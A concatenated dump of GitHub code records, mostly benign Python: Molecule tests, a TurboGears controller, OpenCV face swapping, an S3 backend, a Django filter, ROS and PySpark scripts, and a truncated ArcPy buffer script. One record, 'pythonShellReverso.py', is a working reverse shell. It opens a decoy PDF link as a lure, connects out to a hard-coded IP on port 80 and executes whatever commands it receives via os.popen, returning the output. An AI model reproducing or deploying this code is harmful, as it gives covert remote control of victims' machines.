c[\"provisioner\"][\"inventory\"][\"links\"] = {\n \"hosts\": \"../hosts\",\n \"group_vars\": \"../group_vars\",\n \"host_vars\": \"../host_vars\",\n }\n inventory_dir = _instance._config.scenario.inventory_directory\n scenario_dir = _instance._config.scenario.directory\n source_hosts = os.path.join(scenario_dir, os.path.pardir, \"hosts\")\n target_hosts = os.path.join(inventory_dir, \"hosts\")\n source_group_vars = os.path.join(scenario_dir, os.path.pardir, \"group_vars\")\n target_group_vars = os.path.join(inventory_dir, \"group_vars\")\n source_host_vars = os.path.join(scenario_dir, os.path.pardir, \"host_vars\")\n target_host_vars = os.path.join(inventory_dir, \"host_vars\")\n\n open(source_hosts, \"w\").close() # pylint: disable=consider-using-with\n os.mkdir(source_group_vars)\n os.mkdir(source_host_vars)\n\n _instance._link_or_update_vars()\n\n assert os.path.lexists(target_hosts)\n assert os.path.lexists(target_group_vars)\n assert os.path.lexists(target_host_vars)\n\n\ndef test_link_vars_raises_when_source_not_found(_instance, caplog):\n c = _instance._config.config\n c[\"provisioner\"][\"inventory\"][\"links\"] = {\"foo\": \"../bar\"}\n\n with pytest.raises(SystemExit) as e:\n _instance._link_or_update_vars()\n\n assert e.value.code == 1\n\n source = os.path.join(_instance._config.scenario.directory, os.path.pardir, \"bar\")\n msg = f\"The source path '{source}' does not exist.\"\n assert msg in caplog.text\n\n\ndef test_verify_inventory(_instance):\n _instance._verify_inventory()\n\n\ndef test_verify_inventory_raises_when_missing_hosts(\n temp_dir,\n caplog,\n _instance,\n):\n _instance._config.config[\"platforms\"] = []\n with pytest.raises(SystemExit) as e:\n _instance._verify_inventory()\n\n assert e.value.code == 1\n\n msg = \"Instances missing from the 'platform' section of molecule.yml.\"\n assert msg in caplog.text\n\n\ndef test_vivify(_instance):\n d = _instance._vivify()\n d[\"bar\"][\"baz\"] = \"qux\"\n\n assert str(d[\"bar\"][\"baz\"]) == \"qux\"\n\n\ndef test_default_to_regular(_instance):\n d = collections.defaultdict()\n assert isinstance(d, collections.defaultdict)\n\n d = _instance._default_to_regular(d)\n assert isinstance(d, dict)\n\n\ndef test_get_plugin_directory(_instance):\n result = _instance._get_plugin_directory()\n parts = os_split(result)\n\n assert parts[-4:] == (\"molecule\", \"provisioner\", \"ansible\", \"plugins\")\n\n\ndef test_get_modules_directories_default(_instance, monkeypatch):\n monkeypatch.delenv(\"ANSIBLE_LIBRARY\", raising=False)\n\n paths = _instance._get_modules_directories()\n\n assert len(paths) == 5\n assert re.search(r\"molecule/provisioner/ansible/plugins/modules$\", paths[0])\n assert re.search(r\"\\.cache/molecule/[^/]+/default/library$\", paths[1])\n assert re.search(r\"/library$\", paths[2])\n assert re.search(r\"\\.ansible/plugins/modules$\", paths[3])\n assert re.search(r\"/usr/share/ansible/plugins/modules$\", paths[4])\n\n\ndef test_get_modules_directories_single_ansible_library(_instance, monkeypatch):\n monkeypatch.setenv(\"ANSIBLE_LIBRARY\", \"/abs/path/lib\")\n\n paths = _instance._get_modules_directories()\n\n assert len(paths) == 6\n assert paths[0] == \"/abs/path/lib\"\n\n\ndef test_get_modules_directories_multi_ansible_library(_instance, monkeypatch):\n monkeypatch.setenv(\"ANSIBLE_LIBRARY\", \"relpath/lib:/abs/path/lib\")\n\n paths = _instance._get_modules_directories()\n\n assert len(paths) == 7\n assert paths[0].endswith(\"relpath/lib\")\n assert paths[1] == \"/abs/path/lib\"\n\n\ndef test_get_filter_plugin_directory(_instance):\n result = _instance._get_filter_plugin_directory()\n parts = os_split(result)\n x = (\"molecule\", \"provisioner\", \"ansible\", \"plugins\", \"filter\")\n\n assert x == parts[-5:]\n\n\ndef test_absolute_path_for(_instance):\n env = {\"foo\": \"foo:bar\"}\n x = \":\".join(\n [\n os.path.join(_instance._config.scenario.directory, \"foo\"),\n os.path.join(_instance._config.scenario.directory, \"bar\"),\n ],\n )\n\n assert x == _instance._absolute_path_for(env, \"foo\")\n\n\ndef test_absolute_path_for_raises_with_missing_key(_instance):\n env = {\"foo\": \"foo:bar\"}\n\n with pytest.raises(KeyError):\n _instance._absolute_path_for(env, \"invalid\")\n","repo_name":"ansible/molecule","sub_path":"test/a_unit/provisioner/test_ansible.py","file_name":"test_ansible.py","file_ext":"py","file_size_in_byte":22854,"program_lang":"python","lang":"en","doc_type":"code","stars":3710,"dataset":"github-code","pt":"61"} +{"seq_id":"6508348923","text":"from turbogears import expose, exception_handler, validate\nfrom prmax.utilities.common import addConfigDetails\nfrom prmax.utilities.prlogger import logError\nfrom prmax.utilities.validators import PrFormSchema\nfrom ttl.dict import DictExt\nfrom ttl.tg.controllers import SecureController\nfrom ttl.tg.validators import std_state_factory, SimpleFormValidator, \\\n PrFormSchema\n\nfrom ttl.tg.errorhandlers import pr_std_exception_handler_text\nfrom prmax.model import PrmaxCustomerInfo, Customer\nimport prmax.Constants as Constants\n\n@SimpleFormValidator\ndef Source_post(value_dict, state, validator):\n\t\"\"\"creats all the parameters needed be passed to the list user selection\nmethod\"\"\"\n\tvalue_dict['searchtypeid'] = value_dict.get('searchtypeid', Constants.Search_Standard_Type)\n\nclass SearchLayoutSchema(PrFormSchema):\n\t\"\"\" scehma \"\"\"\n\tchained_validators = (Source_post,)\n\n#########################################################\n## Controller\n#########################################################\nclass LayoutController(SecureController):\n\t\"\"\" controller to expose general template function\"\"\"\n\n\t# list of standard banners from embedded options\n\t__std_banner = {\n\t Constants.CustomerType_AIMedia:\"prmax.ai.banner\",\n\t Constants.CustomerType_NewsLive:\"prmax.newslive.banner\",\n\t Constants.CustomerType_Updatum:\"prmax.updatum.banner\",\n\t Constants.CustomerType_PRmax:\"prmax.display.StdBanner\",\n\t Constants.CustomerType_Fens:\"prmax.fens.banner\",\n\t Constants.CustomerType_KantarMedia:\"prmax.kantar.banner\",\n\t Constants.CustomerType_Phoenixpb:\"prmax.phoenixpd.banner\",\n\t Constants.CustomerType_BlueBoo:\"prmax.blueboo.banner\",\n\t Constants.CustomerType_IPCB:\"prmax.ipcb.banner\",\n\t Constants.CustomerType_SolididMedia:\"prmax.solidmedia.banner\",\n\t Constants.CustomerType_MyNewsdesk:\"prmax.mynewsdesk.banner\",\n\t Constants.CustomerType_DePerslijst:\"prmax.deperslijst.banner\",\n\t Constants.CustomerType_PrmaxPressOffice:\"prmax.professional.banner\",\n\t Constants.CustomerType_LevelCert:\"prmax.levelcert.banner\",\n\t Constants.CustomerType_StereoTribes: \"prmax.stereotribes.banner\",\n\t Constants.CustomerType_PressData: \"prmax.pressdata.banner\",\n\t Constants.CustomerType_PressDataOffice: \"prmax.pressdataoffice.banner\",\n\t Constants.CustomerType_PressOffice: \"prmax.pressoffice.banner\",\n Constants.CustomerType_Journolink: \"prmax.journolink.banner\",\n\n\t}\n\t__std_start_view = {\n\t Constants.CustomerType_SolididMedia:\"prmax.solidmedia.stdview\",\n\t Constants.CustomerType_MyNewsdesk:\"prmax.mynewsdesk.stdview\",\n\t Constants.CustomerType_DePerslijst:\"prmax.deperslijst.stdview\",\n\t Constants.CustomerType_PrmaxPressOffice:\"prmax.professional.stdview\",\n\t Constants.CustomerType_LevelCert:\"prmax.levelcert.stdview\",\n\t Constants.CustomerType_StereoTribes: \"prmax.stereotribes.stdview\",\n\t Constants.CustomerType_PressData: \"prmax.pressdata.stdview\",\n\t Constants.CustomerType_PressDataOffice: \"prmax.pressdataoffice.stdview\",\n\t Constants.CustomerType_PressOffice: \"prmax.pressoffice.stdview\",\n Constants.CustomerType_Journolink: \"prmax.journolink.stdview\",\n\t}\n\n\t#######################################################\n\t## non-standard controllers have specific templates requirments\n\t#######################################################\n\t@expose(template=\"genshi:prmax.templates.layout/std_banner\")\n\t@exception_handler(pr_std_exception_handler_text)\n\t@validate(validators=PrFormSchema(), state_factory=std_state_factory)\n\tdef std_banner(self, *args, **params):\n\t\t\"\"\" returns the standard banner page\n\t\tno cache it's user specific \"\"\"\n\n\t\tdata = addConfigDetails(DictExt(params))\n\t\tdata[\"dojoComponent\"] = LayoutController.__std_banner.get(data['prmax']['customer'].customertypeid, \"prmax.display.StdBanner\")\n\n\t\treturn data\n\n\t@expose(template=\"genshi:prmax.templates.layout/std_view_outlet\")\n\t@exception_handler(pr_std_exception_handler_text)\n\t@validate(validators=PrFormSchema(), state_factory=std_state_factory)\n\tdef std_view_outlet(self, *args, **params):\n\t\t\"\"\" returns the standard view for an outlet with or withoutprivate data\n\t\tbased upon the type of customer \"\"\"\n\n\t\tdata = addConfigDetails(DictExt(params))\n\t\tdata[\"private_data\"] = \"true\" \\\n\t\t if data['prmax']['customer'].customertypeid in Constants.Customer_Has_Private_Data else \"false\"\n\n\t\treturn data\n\n\t@expose(\"text/html\")\n\t@exception_handler(pr_std_exception_handler_text)\n\t@validate(validators=PrFormSchema(), state_factory=std_state_factory)\n\tdef front_panel_1(self, *args, **params):\n\t\t\"\"\" display text for the front page should be collected from a db table\n\t\tstandard\n\t\tcustomer specific\n\t\t\"\"\"\n\n\t\treturn PrmaxCustomerInfo.get(params[\"customerid\"])\n\n\t@expose(\"prmax.templates.layout/std_view\")\n\t@exception_handler(pr_std_exception_handler_text)\n\t@validate(validators=PrFormSchema(), state_factory=std_state_factory)\n\tdef std_view(self, *args, **params):\n\t\t\"\"\" returns the standard view needs to check if customer is a demo \"\"\"\n\n\t\tdata = addConfigDetails(DictExt(params))\n\n\t\tif \"result_view\" not in params and params[\"result_view\"]:\n\t\t\tparams[\"result_view\"] = \"outlet_view\"\n\n\t\tdata[\"advancefeatureslistid\"] = -1 if \"advancefeatureslistid\" not in params else params[\"advancefeatureslistid\"]\n\t\tdata[\"dojoComponent\"] = LayoutController.__std_start_view.get(data['prmax']['customer'].customertypeid, \"prmax.display.StdView\")\n\n\t\treturn data\n\n\t@expose(template=\"genshi:prmax.templates.search/std_search_outlet\")\n\t@exception_handler(pr_std_exception_handler_text)\n\t@validate(validators=SearchLayoutSchema(), state_factory=std_state_factory)\n\tdef std_search_outlet(self, *args, **params):\n\t\t\"\"\" return outlet form based on version \"\"\"\n\n\t\tparams[\"prefix\"] = params.get(\"prefix\", \"\")\n\n\t\treturn addConfigDetails(DictExt(params))\n\n\t@expose(template=\"prmax.templates.search/std_search_freelance\")\n\t@exception_handler(pr_std_exception_handler_text)\n\t@validate(validators=SearchLayoutSchema(), state_factory=std_state_factory)\n\tdef std_search_freelance(self, *args, **params):\n\t\t\"\"\" return outlet form based on version \"\"\"\n\n\t\tparams[\"prefix\"] = params.get(\"prefix\", \"\")\n\n\t\treturn addConfigDetails(DictExt(params))\n\n\t@expose(template=\"genshi:prmax.templates.layout/std_distribute_panel_view\")\n\t@exception_handler(pr_std_exception_handler_text)\n\t@validate(validators=SearchLayoutSchema(), state_factory=std_state_factory)\n\tdef std_distribute_panel_view(self, *args, **params):\n\t\t\"\"\" return outlet form based on version \"\"\"\n\n\t\treturn addConfigDetails(DictExt(params))\n\n\t@expose(template=\"genshi:prmax.templates.layout/std_search\")\n\t@exception_handler(pr_std_exception_handler_text)\n\t@validate(validators=SearchLayoutSchema(), state_factory=std_state_factory)\n\tdef std_search(self, *args, **params):\n\t\t\"\"\" return outlet form based on version \"\"\"\n\n\t\toptions = addConfigDetails(DictExt(params))\n\t\tcustomer = Customer.query.get(params[\"customerid\"])\n\t\toptions[\"advancefeatures\"] = customer.isAdvanceActive()\n\n\t\tif options.prmax.user.usepartialmatch:\n\t\t\tpartial = dict(checked=True)\n\t\telse:\n\t\t\tpartial = {}\n\t\toptions.prmax.user.partial = partial\n\t\tif params.get(\"mode\", \"\") == \"features\":\n\t\t\toptions.features = dict(selected=\"selected\")\n\t\t\toptions.outlet = dict()\n\t\telse:\n\t\t\toptions.outlet = dict(selected=\"selected\")\n\t\t\toptions.features = dict()\n\n\t\treturn options\n\n\t@expose(\"prmax.templates.layout/std_view_lists\")\n\t@exception_handler(pr_std_exception_handler_text)\n\t@validate(validators=PrFormSchema(), state_factory=std_state_factory)\n\tdef std_view_lists(self, *args, **params):\n\t\t\"\"\" returns the standard view needs to check if customer is a demo \"\"\"\n\n\t\tcustomer = Customer.query.get(params[\"customerid\"])\n\t\tif params.get(\"selectedview\", \"\") == \"distributions\" or \\\n\t\t customer.customertypeid in (Constants.CustomerType_PrmaxPressOffice, Constants.CustomerType_PressDataOffice, Constants.CustomerType_PressOffice):\n\t\t\tparams[\"startup_standing\"] = \"\"\n\t\t\tparams[\"startup_distributions\"] = 'selected:\"selected\"'\n\t\t\tparams[\"startup_mode\"] = params.get(\"startup_mode\", \"All\")\n\t\telse:\n\t\t\tparams[\"startup_standing\"] = 'selected:\"selected\"'\n\t\t\tparams[\"startup_distributions\"] = \"\"\n\t\t\tparams[\"startup_mode\"] = \"All\"\n\n\t\tdata = addConfigDetails(DictExt(params))\n\t\tif data['prmax']['customer'].customertypeid == Constants.CustomerType_AIMedia:\n\t\t\tdata[\"dojoComponent\"] = \"prmax.ai.listsview\"\n\t\telse:\n\t\t\tdata[\"dojoComponent\"] = \"prmax.lists.view\"\n\n\t\treturn data\n\n\t#######################################################\n\t## standard pages send back a common page that can be cached\n\t## restricted to the the _exposed_templates list\n\t#######################################################\n\t# dict contains name of template and location sub-folder\n\t_exposed_templates = {\n\t\t# general templates\n\t\t\"std_user_admin_view\":\"layout\", # customer user admin view\n\t\t\"std_collateral_view\":\"layout\", # collateral maintanence view\n\t \"std_exclusions_view\":\"layout\", #\n\t\t\"std_start_view\":\"layout\", #\n\t\t\"std_outlet_view_startup\":\"layout\", # default view when you load the dipslay details pane\n\t\t\"std_projects_view\": \"layout\", # default view for project maintanence\n\t\t\"std_output_view\": \"layout\", # outlet view\n\t \"std_distribution_view\":\"layout\", # distribution view\n\t \"std_advance_view\":\"layout\", # advance view panel\n\t \"customer_financial\":\"layout\", # customer invoice view\n\t \"prrequest\": \"layout\", #pprrequests\n\t \"clients\":\"layout\", # client view\n\t \"issues\":\"layout\", # issues view\n\t \"statements\":\"layout\", # statements view\n\t \"crm_view\":\"layout\", # crm viewer\n\t \"monitoring\": \"layout\", # layout view\n\t \"tasks\": \"layout\", # task view\n\t \"documents_view\": \"layout\",\n\t \"clippings_view\": \"layout\", #clippins main view\n\t \"questions_view\": \"layout\",\n\t \"distributiontemplate\": \"layout\",\n\t \"global_analysis_questions\": \"layout\",\n\t \"activity\": \"layout\",\n\t \"newsrooms\":\"layout\", # newsrooms view\n\t \"privatechannels\":\"layout\", # private media channels view\n\n\t # embedded version\n\t \"ai_start_view\":\"layout\", # ai\n\t \"newslive_start_view\":\"layout\", # aebquity\n\t \"updatum_start_view\":\"layout\", # updatum\n\t \"fens_start_view\":\"layout\", # fens\n\t \"kantar_start_view\":\"layout\", # kantar\n\t \"phoenixpd_start_view\":\"layout\", # phoenixpd\n\t \"blueboo_start_view\": \"layout\", # blue boo\n\t \"ipcb_start_view\": \"layout\", #ipcb\n\t \"solidmedia_start_view\": \"layout\", #solidmedia\n\t \"mynewsdesk_start_view\":\"layout\", #mynewsdesk\n\t \"deperslijst_start_view\":\"layout\", #deperslijst\n\t \"professional_start_view\":\"layout\", #professional\n\t \"levelcert_start_view\":\"layout\", #levelcert\n\t \"stereotribes_start_view\": \"layout\",\n\t \"pressdata_start_view\": \"layout\", # pressdata\n\t \"pressdataoffice_start_view\": \"layout\", # pressdata\n\t \"pressoffice_start_view\": \"layout\", # pressdata\n \"journolink_start_view\" : \"layout\",\n\n\t\t# search templates\n\t\t\"std_search_quick\":\"search\", # quick search form\n\t\t\"std_search_employee\":\"search\", # employee search form\n\t\t\"std_search_mps\":\"search\", # mps search form\n\t\t\"std_search_advance\":\"search\", # advance features\n\t\t\"std_search_crm\":\"search\", # crm\n\t\t# help system\n\t\t\"help_system\": \"layout\", # help system template\n\t}\n\n\t@expose(\"\")\n\t@exception_handler(pr_std_exception_handler_text)\n\t@validate(validators=PrFormSchema(), state_factory=std_state_factory)\n\tdef default(self, *args, **params):\n\t\t\"\"\" Standard way of accessing a template this assumes that the\n\t\ttemplate will not change so we can cache it\n\t\tdefault these are single we\n\t\t\"\"\"\n\t\t# check to see if we have arguments\n\t\tif len(args) > 0 and args[0].lower() in self._exposed_templates:\n\t\t\ttemplate = args[0].lower()\n\t\t\tfolder = self._exposed_templates[template]\n\t\t\treturn self._cache(template,\n\t\t\t\t\t\t\t \"prmax.templates.%s/%s\" % (folder, template),\n\t\t\t\t\t\t\t addConfigDetails(DictExt(params)))\n\n\t\tlogError(\"layout.default\", args, params, None, \"Unknown layout\", )\n\t\treturn \"Not Found\"\n\n\n\n\n","repo_name":"meanang123/prmax","sub_path":"prmax/prmax/sitecontrollers/layout.py","file_name":"layout.py","file_ext":"py","file_size_in_byte":11714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29307809892","text":"import cv2\nimport numpy as np\n\nphoto=cv2.imread('r.jpg')\nphoto1=cv2.imread('bts-pic.jpg')\n\ncv2.imshow('title',photo)\ncv2.imshow('title1',photo1)\ncv2.waitKey() #argument in milliseconds\ncv2.destroyAllWindows()\n\n#to detect faces in both images\nmodel=cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\n#to detect face and get coordinates from photo1\nface1=model.detectMultiScale(photo1)\nx11=face1[0][0]\ny11=face1[0][1]\nx21= x11+face1[0][2]\ny21= y11+face1[0][3]\n\n#to print photo with green rectangle around detected face\naphoto=cv2.rectangle(photo1,(x11,y11),(x21,y21),[0,255,0],2)\ncv2.imshow('bts',aphoto)\ncv2.imwrite('bts-detect.jpg',aphoto)\ncv2.waitKey() \ncv2.destroyAllWindows()\n\n#to detect face and get coordinates from photo\nface=model.detectMultiScale(photo)\nx1=face[0][0]\ny1=face[0][1]\nx2= x1+face[0][2]\ny2= y1+face[0][3]\n\n#to print photo with green rectangle around detected face\nbphoto=cv2.rectangle(photo,(x1,y1),(x2,y2),[0,255,0],2)\ncv2.imshow('fb',bphoto)\ncv2.imwrite('fb-detect.jpg',aphoto)\ncv2.waitKey() \ncv2.destroyAllWindows()\n\n\n#to crop from each picture\nphoto=cv2.imread('r.jpg')\nphoto1=cv2.imread('bts-pic.jpg')\n\ncrop_photo=photo[y1:y2,x1:x2]\ncv2.imshow('title',crop_photo)\ncv2.imwrite(\"fbcrop.jpg\",crop_photo)\ncv2.waitKey() \ncv2.destroyAllWindows()\n\ncrop_photo1=photo1[y11:y21,x11:x21]\ncv2.imshow('title',crop_photo1)\ncv2.imwrite(\"btscrop.jpg\",crop_photo1)\ncv2.waitKey() \ncv2.destroyAllWindows()\n\n#to swap both pictures\nphoto=cv2.imread('r.jpg')\nphoto1=cv2.imread('bts-pic.jpg')\n\nx_end1=x11+crop_photo.shape[1]\ny_end1=y11+crop_photo.shape[0]\nphoto1[y11:y_end1,x11:x_end1]=crop_photo\n\ncv2.imshow('btsswap',photo1)\ncv2.imwrite(\"btsswap.jpg\",photo1)\ncv2.waitKey() \ncv2.destroyAllWindows()\n\nphoto=cv2.imread('r.jpg')\nphoto1=cv2.imread('bts-pic.jpg')\n\nx_end=x1+crop_photo1.shape[1]\ny_end=y1+crop_photo1.shape[0]\nphoto[y1:y_end,x1:x_end]=crop_photo1\n\ncv2.imshow('fbswap',photo)\ncv2.imwrite(\"fbswap.jpg\",photo)\ncv2.waitKey() \ncv2.destroyAllWindows()\n","repo_name":"natasha012/Images-Crop-Swap","sub_path":"Crop&Swap .py","file_name":"Crop&Swap .py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19560054079","text":"import numpy as np\nfrom numpy import array as ar\nimport matplotlib.pyplot as plt\n\ndef max_leaves(depth:int = 2):\n\t\n\tmax_leaves = 2**(depth)\n\t\n\treturn max_leaves\n\n\ndepths = list(range(2,8,1))\nleaves = [max_leaves(depth) for depth in depths]\n\nplt.scatter(x = depths, y = leaves)\nplt.show()\n","repo_name":"vitorpbarbosa7/data_science_general_concepts","sub_path":"46_boosting/tree_depth.py","file_name":"tree_depth.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29031573665","text":"import boto\nimport logging\nfrom django.conf import settings\n\nlogger = logging.getLogger(\"openassessment.fileupload.api\")\n\nfrom .base import BaseBackend\nfrom ..exceptions import FileUploadInternalError\n\n\nclass Backend(BaseBackend):\n\n def get_upload_url(self, key, content_type):\n bucket_name, key_name = self._retrieve_parameters(key)\n try:\n conn = _connect_to_s3()\n upload_url = conn.generate_url(\n expires_in=self.UPLOAD_URL_TIMEOUT,\n method='PUT',\n bucket=bucket_name,\n key=key_name,\n headers={'Content-Length': '5242880', 'Content-Type': content_type}\n )\n return upload_url\n except Exception as ex:\n logger.exception(\n u\"An internal exception occurred while generating an upload URL.\"\n )\n raise FileUploadInternalError(ex)\n\n\n def get_download_url(self, key):\n bucket_name, key_name = self._retrieve_parameters(key)\n try:\n conn = _connect_to_s3()\n bucket = conn.get_bucket(bucket_name)\n s3_key = bucket.get_key(key_name)\n return s3_key.generate_url(expires_in=self.DOWNLOAD_URL_TIMEOUT) if s3_key else \"\"\n except Exception as ex:\n logger.exception(\n u\"An internal exception occurred while generating a download URL.\"\n )\n raise FileUploadInternalError(ex)\n\n\ndef _connect_to_s3():\n \"\"\"Connect to s3\n\n Creates a connection to s3 for file URLs.\n\n \"\"\"\n # Try to get the AWS credentials from settings if they are available\n # If not, these will default to `None`, and boto will try to use\n # environment vars or configuration files instead.\n aws_access_key_id = getattr(settings, 'AWS_ACCESS_KEY_ID', None)\n aws_secret_access_key = getattr(settings, 'AWS_SECRET_ACCESS_KEY', None)\n\n return boto.connect_s3(\n aws_access_key_id=aws_access_key_id,\n aws_secret_access_key=aws_secret_access_key\n )\n\n\n","repo_name":"luckyjd/lms_edx","sub_path":"edx-ficus.3-3/apps/edx/venvs/edxapp/lib/python2.7/site-packages/openassessment/fileupload/backends/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"20113077856","text":"from django import template\n\n# В template.Library зарегистрированы все теги и фильтры шаблонов\n# добавляем к ним и наш фильтр\nregister = template.Library()\n\n\n@register.filter(name=\"get_filter_values\")\ndef get_filter_values(value):\n return value.getlist(\"filters\")\n\n\n@register.filter(name=\"get_filter_link\")\ndef get_filter_link(request, tag):\n rq = request.GET.copy()\n if tag != False:\n if tag.slug in request.GET.getlist(\"filters\"):\n filters = rq.getlist(\"filters\")\n filters.remove(tag.slug)\n rq.setlist(\"filters\", filters)\n else:\n rq.appendlist(\"filters\", tag.slug)\n return rq.urlencode()\n L = rq.urlencode()\n return L[L.find(\"filters\") :]\n","repo_name":"work-development/foodgram-project","sub_path":"recipes/templatetags/tag_filters.py","file_name":"tag_filters.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72060581635","text":"import socket,os\n\nos.popen('explorer https://algumpdfonline.pdf')\n\nip = \"192.168.0.200\"\nporta = 80\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((ip,porta))\n\nwhile True:\n cmd = s.recv(1024)\n for comando in os.popen(cmd):\n s.send(comando)\n","repo_name":"felipefbelo/Infosec","sub_path":"pythonShellReverso.py","file_name":"pythonShellReverso.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30116353955","text":"#School Administration Project\nimport csv\ndef write_to_csv(info):\n with open('stu_info.csv','a',newline='') as csv_file:\n writer=csv.writer(csv_file)\n \n if csv_file.tell() == 0:\n writer.writerow([\"Name\",\"Age\",\"Contact Number\",\"e-mail ID\"])\n \n writer.writerow(info)\n \nif __name__=='__main__':\n condition=True\n stu_num = 1\n \n while(condition):\n \n stu_info=input(\"Enter student information of student #{} in the format (Name Age Contact_number e-mail_ID :\".format(stu_num))\n \n stu_info_list=stu_info.split(' ')\n print(\"\\nEntered information is :\\nName: {}\\nAge: {}\\nContact number: {}\\ne-mail ID: {}\".format(stu_info_list[0],stu_info_list[1],stu_info_list[2],stu_info_list[3]))\n \n correction=input(\"Is the entered information correct? (Y/N): \")\n if correction==\"Y\":\n write_to_csv(stu_info_list)\n continue_=input(\"Do you want to enter next student information ? (Y/N): \")\n if continue_==\"Y\":\n condition=True\n stu_num=stu_num+1\n elif continue_==\"N\":\n condition=False\n elif correction==\"N\":\n print(\"\\nPlease re-enter the data!\")\n","repo_name":"Chandana-h-p/MyCaptain","sub_path":"School_Administration_Project.py","file_name":"School_Administration_Project.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38272151381","text":"#!/usr/bin/env python\n\nimport rospy\nimport yaml\nimport copy\n\nfrom semantic_map_ros import SemanticMapROS\nfrom semantic_map.srv import *\n\nfrom rospy_message_converter import message_converter\nfrom yocs_msgs.msg import *\nfrom semantic_map.msg import *\nfrom geometry_msgs.msg import *\nfrom std_msgs.msg import *\n\n'''\nThis class waits for a query about information about different regions of the environment stored in the semantic map. \n\t\nThe response of the class is a RegionsList message which contains different form of information about regions existing in the robot environment.\n'''\n\nclass RegionsList(SemanticMapROS):\n\tdef __init__(self):\n\t\tfilename = rospy.get_param('~filename')\n\t\twith open(filename) as f:\n\t\t\tself.data = yaml.load(f)\n\n\t\tself.server = rospy.Service('query_region_instances', QueryRegionInstances, self.service_callback)\t\n\n\n\tdef service_callback(self, request):\n\t\trospy.loginfo(\"Regions information is available\") \n\n\t\tregions_list = RegionList()\n\n\t\tfor t in self.data:\n\t\t\tregions = Region()\n\n\t\t\tregions.instance.name = t['instance']\n\n\t\t\tregions.geometry.pose = message_converter.convert_dictionary_to_ros_message('geometry_msgs/Pose',t['geometry']['pose'])\n\t\t\tregions.geometry.bounding_box = message_converter.convert_dictionary_to_ros_message('semantic_knowledgebase/BoundingBox',t['geometry']['bounding_box'])\n\n\t\t\tregions.semantics.category = t['semantics']['category']\n\t\t\tregions.semantics.sub_category = t['semantics']['sub_category']\n\n\t\t\tregions_list.regions.append(regions)\n\n\t\t\t\n\t\treturn QueryRegionInstancesResponse(regions_list)\n\n\t\n\n\ndef initialize_node():\n\t'''\n\tInitialize the RegionsList class and spin to keep python from exiting untill this node is stopped.\n\t'''\n\n\trospy.init_node('regions_list_node', anonymous=False)\n\t#rospy.loginfo(\"regions_node is now running\")\n\n\tregions_list = RegionsList()\n\n\trospy.spin()\n\nif __name__ == '__main__':\n\tinitialize_node()\n","repo_name":"ndeshp2s/inria_hbrs","sub_path":"semantic_navigation/knowledge_base/semantic_map/scripts/regions.py","file_name":"regions.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36479941630","text":"from pyspark import SparkConf, SparkContext\n\n\ndef parseIt(line):\n fields = line.split(\",\")\n customer = fields[0]\n spent = float(fields[2])\n return (customer, spent)\n\n\nconf = SparkConf().setMaster(\"local\").setAppName(\"Customer Spend\")\nsc = SparkContext(conf=conf)\nsc.setLogLevel(\"ERROR\")\n\n\ninput = sc.textFile(\"datasets/customer-orders.csv\")\nrdd = input.map(parseIt)\ntotalByCustomer = rdd.reduceByKey(lambda x, y: x + y)\nflipped = totalByCustomer.map(lambda x: (x[1], x[0]))\nsortedBySpent = flipped.sortByKey(False)\nfor result in sortedBySpent.collect():\n print(result)\n","repo_name":"nileshvarshney/pyspark_etl_pipelines","sub_path":"src/basic/rdd/customer_spend.py","file_name":"customer_spend.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72297374275","text":"\n# This function takes in two CSV Files, transforms them to shapefiles, and then buffers them both before intersecting them.\n# We will use the Killer Whale and Blue Whale sighting CSV files to determine their roaming area\nimport os, arcpy\nfrom arcpy.sa import *\n###################################\n######### SET YOUR DIR#############\n###################################\noutputDirectory = r\"C:\\data\\d1\\8\\data\"\narcpy.env.workspace = outputDirectory\narcpy.env.overwriteOutput = True\n#Convert cvs files to shapefiles\ndef buffer(x, y):\n csvlist = arcpy.ListFiles(\"*.csv\")\n try:\n for csvfile in csvlist:\n outlayer = \"CSVEventLayer\"\n spatialreference = \"GEOGCS['GCS_WGS_1984',DATUM['D_WGS_1984',SPHEROID['WGS_1984',6378137.0,298.257223563]],PRIMEM['Greenwich',0.0],UNIT['Degree',0.0174532925199433]];-400 -400 1000000000;-100000 10000;-100000 10000;8.98315284119522E-09;0.001;0.001;IsHighPrecision\"\n arcpy.MakeXYEventLayer_management(csvfile, \"decimalLongitude\", \"decimalLatitude\", outlayer, spatialreference, \"#\")\n\n shpfile = os.path.splitext(csvfile.replace('-', '_'))[0]\n arcpy.CopyFeatures_management(outlayer,shpfile)\n del outlayer\n except:\n # If an error occurred print the message to the screen\n print(arcpy.GetMessages())\n print(\"shapefiles created successfully\")\n\n#Process One.1\n\n KillerWhales = os.path.join(outputDirectory, x)\n Buffered_KillerWhales = os.path.join(outputDirectory,\"KillerWhales_Buffer.shp\")\n arcpy.analysis.Buffer(in_features=KillerWhales,\n out_feature_class=Buffered_KillerWhales,\n buffer_distance_or_field=\"50 Miles\",\n line_side=\"FULL\",\n line_end_type=\"ROUND\",\n dissolve_option=\"ALL\",\n dissolve_field=[],\n method=\"PLANAR\")\n arcpy.env.overwriteOutput = True\n print(\"buffer one complete\")\n\n\n\n #Process One.2\n BlueWhales = os.path.join(outputDirectory, y)\n Buffered_BlueWhales = 